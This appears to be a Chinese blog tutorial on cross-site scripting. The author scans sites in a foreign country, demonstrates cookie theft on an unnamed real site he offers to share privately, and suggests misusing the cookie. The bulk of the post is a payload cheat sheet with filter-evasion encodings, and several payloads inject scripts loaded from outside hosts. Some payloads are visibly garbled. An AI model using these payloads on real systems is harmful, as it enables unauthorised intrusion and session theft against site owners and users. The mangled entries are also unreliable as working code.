1. 程式人生 > >獸哥出品---->XSS漏洞的原理與剖析

獸哥出品---->XSS漏洞的原理與剖析

xss原理 xss攻擊 xss原理與剖析 xss

Xss(跨站腳本攻擊)


今天 獸哥又給大家帶來一份幹貨,關於xss漏洞問題

Xss是一種基於html屬性的攻擊 這是一種比較簡單的方法 然而現在存在xss漏洞已經很少了

但是..註意 這裏我用到了但是

我在掛代理 去國外找網站時 我發現某個渣渣國的很多很多網站存xss漏洞

隨便掏了一個給大家做一下嘗試 講解原理


嗷嗷叫!!!!

技術分享





拉出來safe3 輸入某網站 跑一下

可以看到 真的是很多啊 還有sql註入漏洞

技術分享


我隨便選中一行把

這個很短 很舒服 我們就選它

我們來進行試驗一下

這個網站 大體是這樣的:

https://xxxx.com/login?f=

頁面肯定正常顯示, 我這裏只做原理講解 具體網址 我不方便放在這裏 有需要的可以私聊

我提供給你方法

然後呢 咱們在URL後面隨便輸入ddd 按回車 頁面正常顯示 然後註意! !!!!!

一定註意

這裏有個小技巧

Ctrl+U 看網頁源代碼 然後呢 按Ctrl+F 在左下角輸入框內搜索ddd字段

我們看一下ddd 這幾個字符 出現在哪裏

下圖是具體頁面:

技術分享


技術分享


技術分享

各位,我們可以看到,它目前出現在藍色的地方這 當然也有其他的地方也有ddd字段 我這裏就不作截屏了 拿出來一個作為例子

我們可以看到 這段location.href ‘’ ;代碼呢 是很簡單的 我們只需要閉合 外加註釋掉後面的就可以了 我們這樣構造

技術分享

那麽這樣一段代碼 在源碼的原理是什麽呢 我們來看一下

location.href ‘’><script>alert(document,cookie)</script> -- ’;

前面黃色的呢 我用 ’> 將她 閉合掉了 後面的 ’; 我將它用 -- 註釋掉了

然後執行我們的語句 <script>alert(document,cookie)</script>

這樣 enter鍵 我們看看會得到什麽

沒錯 頁面返回來 cookie值

技術分享

得到cookie值我們能幹嘛 你懂得 哈哈

收起邪惡的嘴臉:簡單的來說 sql註入 就可以用到 聯合cookie 註入方法

好了 今天 就到這裏 謝謝各位收看

下面呢 是我整理的 xss語句:

XSS基本探測pyload

<script>alert(“xss”)</script>

<script>alert(/xss/)</script>//雙引號換成斜杠

<script>alert(‘xss’)</script>//用單引號

<script>alert("xss");</script>//用分號

<script>alert(‘xss‘);</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自動補全

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號

<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分號

<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//換行符

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回車

單引號被過濾

<script>alert(/jdq/)</script> //用雙引號會把引號內的內容單獨作為內容 用斜杠,則會連斜杠一起回顯

JavaScript偽協議】回旋

<ahref="javascript:alert(/test/)">xss</a>

javascript偽協議】回旋

<ahref="javascript:alert(/test/)">xss</a>

alert被過濾

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

img標記】

<img src=xonerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://t.cn/R5UpyOt‘;>

on事件點擊觸發

//註意要用單引號 雙引號不會觸發

on事件點擊觸發

//註意要用單引號 雙引號不會觸發

【利用函數加密】

eval 函數配合編碼

<script>eval(“js+16進制加密)</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

編碼要執行的語句

Alert(“xss”)

unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解決alert()被過濾

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式

標記eval(“編碼”) 結束標記

String.fromCharCod函數】

String.fromCharCode需要配合eval來實現,

構造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval內容加引號相當於正常js語句來執行

不加引號,則是默認作為eval的其他參數語句來執

固定格式<script>eval(String.fromCharCode編碼內容))</script>

String.fromCharCod函數】

String.fromCharCode需要配合eval來實現,

構造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval內容加引號相當於正常js語句來執行

不加引號,則是默認作為eval的其他參數語句來執

固定格式<script>eval(String.fromCharCode編碼內容))</script>

【各標簽實戰pyload
——————————————————-xss其他標簽下的js用法總結大全––——————————–————————————

<imgsrc=javascript:document.write(‘<scr‘+‘ipt src=\‘http://www.baidu.com/1.txt\‘></scr‘+‘ipt>‘)></img> //僅支持IE6

<imgsrc=javascript:window.s=document.createElement(‘script‘);window.s.src=‘http://lcx.cc/1.js‘;document.body.appendChild(window.s);></img> //僅支持IE6

<imgsrc="pdpdp.gif"></img> //通殺所有瀏覽器能觸發xss

<img src="pdpdp.gif"></img> //通殺所有瀏覽器 能觸發xss

<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<input autofocus="bbbb" />

<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe> ie不支持

<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

<anchor><img>(不執行js)<a>(需點擊) <meta>.....

<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

<baa id="1" tabindex=0>

(1)普通的XSS JavaScript註入

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG標簽XSS使用JavaScript命令

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG標簽無分號無引號

<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG標簽大小寫不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML編碼(必須有分號)

<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG標簽

<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode標簽

<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8Unicode編碼

<IMG SRC=jav..省略..S‘)>

(9)7位的UTF-8Unicode編碼是沒有分號的

<IMG SRC=jav..省略..S‘)>

(10)十六進制編碼也是沒有分號

<IMG SRC=\‘#\‘" /span>

(11)嵌入式標簽,Javascript分開

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

(12)嵌入式編碼標簽,Javascript分開

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

(13)嵌入式換行符

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

(14)嵌入式回車

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

(15)嵌入式多行註入JavaScript,這是XSS極端的例子

<IMG SRC=\‘#\‘" /span>

(16)解決限制字符(要求同頁面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

(17)空字符

perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在國內基本沒效果.因為沒有地方可以利用

perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spacesmeta前的IMG標簽

<IMG SRC=\‘#\‘"
javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

(23)雙開括號

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)無結束腳本標記(僅火狐等瀏覽器)

<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>

(25)無結束腳本標記2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半開的HTML/JavaScriptXSS

<IMG SRC=\‘#\‘" /span>

(27)雙開角括號

<iframe src=http://3w.org/XSS.html <

(28)無單引號 雙引號 分號

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

(29)換碼過濾的JavaScript

\”;alert(‘XSS’);//

(30)結束Title標簽

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image

<INPUT SRC=\‘#\‘" /span>

(32)BODY Image

<BODYBACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY標簽

<BODY(‘XSS’)>

(34)IMG Dynsrc

<IMG DYNSRC=\‘#\‘" /span>

(35)IMG Lowsrc

<IMG LOWSRC=\‘#\‘" /span>

(36)BGSOUND

<BGSOUND SRC=\‘#\‘" /span>

(37)STYLE sheet

<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>

(38)遠程樣式表

<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

(39)List-style-image(列表式)

<STYLE>li {list-style-image:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript

<IMG SRC=\‘#\‘"/STYLE><UL><LI>XSS

(41)META鏈接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe

<IFRAME SRC=\‘#\‘" /IFRAME>

(43)Frame

<FRAMESET><FRAME SRC=\‘#\‘"/FRAMESET>

(44)Table

<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD

<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image

<DIV STYLE=”background-image:url(javascript:alert(‘XSS’))”>

(47)DIV background-image後加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE屬性分拆表達

<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(組成:開角號和一個字母開頭)

<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE

<BASEHREF=”javascript:alert(‘XSS’);//”>

(55)EMBED標簽,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\‘#\‘"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>


本文出自 “black-Emperor” 博客,請務必保留此出處http://233333333.blog.51cto.com/13106116/1947780

獸哥出品---->XSS漏洞的原理與剖析